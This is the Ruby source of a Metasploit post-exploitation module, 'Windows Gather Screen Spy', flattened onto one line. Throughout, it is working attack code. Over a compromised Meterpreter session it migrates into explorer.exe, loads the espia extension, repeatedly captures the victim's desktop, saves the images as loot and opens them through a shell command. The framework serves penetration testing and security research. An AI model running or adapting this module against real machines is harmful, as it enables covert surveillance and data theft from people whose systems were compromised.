## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rbconfig' class Metasploit3 < Msf::Post def initialize(info={}) super( update_info(info, 'Name' => 'Windows Gather Screen Spy', 'Description' => %q{ This module will incrementally take desktop screenshots from the host. This allows for screen spying which can be useful to determine if there is an active user on a machine, or to record the screen for later data extraction. NOTES: set VIEW_CMD to control how screenshots are opened/displayed, the file name will be appended directly on to the end of the value of VIEW_CMD (use 'auto' to have the module do it's best...default browser for Windows, firefox for *nix, and preview app for macs). 'eog -s -f -w' is a handy VIEW_CMD for *nix. To suppress opening of screenshots all together, set the VIEW_CMD option to 'none'. }, 'License' => MSF_LICENSE, 'Author' => [ 'Roni Bachar ', # original meterpreter script 'bannedit', # post module 'kernelsmith ', # record/loot support,log x approach, nx 'Adrian Kubok' # better record file names ], 'Platform' => ['win'], # @todo add support for posix meterpreter somehow? 'SessionTypes' => ['meterpreter'] )) register_options( [ OptInt.new('DELAY', [true, 'Interval between screenshots in seconds', 5]), OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]), OptString.new('VIEW_CMD', [false, 'Command to use for viewing screenshots (auto, none also accepted)', 'auto']), OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them',false]) ], self.class) end def run host = session.session_host screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg" migrate_explorer if session.platform !~ /win32|win64/i print_error("Unsupported Platform") return end begin session.core.use("espia") rescue ::Exception => e print_error("Failed to load espia extension (#{e.to_s})") return end # here we check for the local platform to determine what to do when 'auto' is selected if datastore['VIEW_CMD'].downcase == 'auto' case ::RbConfig::CONFIG['host_os'] when /mac|darwin/ cmd = "open file://#{screenshot}" # this will use preview usually when /mswin|win|mingw/ cmd = "start iexplore.exe \"file://#{screenshot}\"" when /linux|cygwin/ # This opens a new tab for each screenshot, but I don't see a better way cmd = "firefox file://#{screenshot} &" else # bsd/sun/solaris might be different, but for now... cmd = "firefox file://#{screenshot} &" end elsif datastore['VIEW_CMD'].downcase == 'none' cmd = nil else cmd = "#{datastore['VIEW_CMD']}#{screenshot}" end begin count = datastore['COUNT'] print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds" # calculate a sane number of leading zeros to use. log of x is ~ the number of digits leading_zeros = Math::log10(count).round file_locations = [] count.times do |num| select(nil, nil, nil, datastore['DELAY']) begin data = session.espia.espia_image_get_dev_screen rescue RequestError => e print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}") return false end if data if datastore['RECORD'] # let's loot it using non-clobbering filename, even tho this is the source filename, not dest fn = "screenshot.%0#{leading_zeros}d.jpg" % num file_locations << store_loot("screenspy.screenshot", "image/jpg", session, data, fn, "Screenshot") end # also write to disk temporarily so we can display in browser. They may or may not have been RECORDed. if cmd # do this if they have not suppressed VIEW_CMD display fd = ::File.new(screenshot, 'wb') fd.write(data) fd.close end end system(cmd) if cmd end rescue IOError, Errno::ENOENT => e print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}") return end print_status("Screen Spying Complete") if file_locations and not file_locations.empty? print_status "run loot -t screenspy.screenshot to see file locations of your newly acquired loot" end if cmd # wait 2 secs so the last file can get opened before deletion select(nil, nil, nil, 2) begin ::File.delete(screenshot) rescue Exception => e print_error("Error deleting the temporary screenshot file: #{e.class} #{e} #{e.backtrace}") print_error("This may be due to the file being in use if you are on a Windows platform") end end end def migrate_explorer pid = session.sys.process.getpid session.sys.process.get_processes.each do |p| if p['name'] == 'explorer.exe' and p['pid'] != pid print_status("Migrating to explorer.exe pid: #{p['pid']}") begin session.core.migrate(p['pid'].to_i) print_status("Migration successful") return p['pid'] rescue print_status("Migration failed.") return nil end end end end end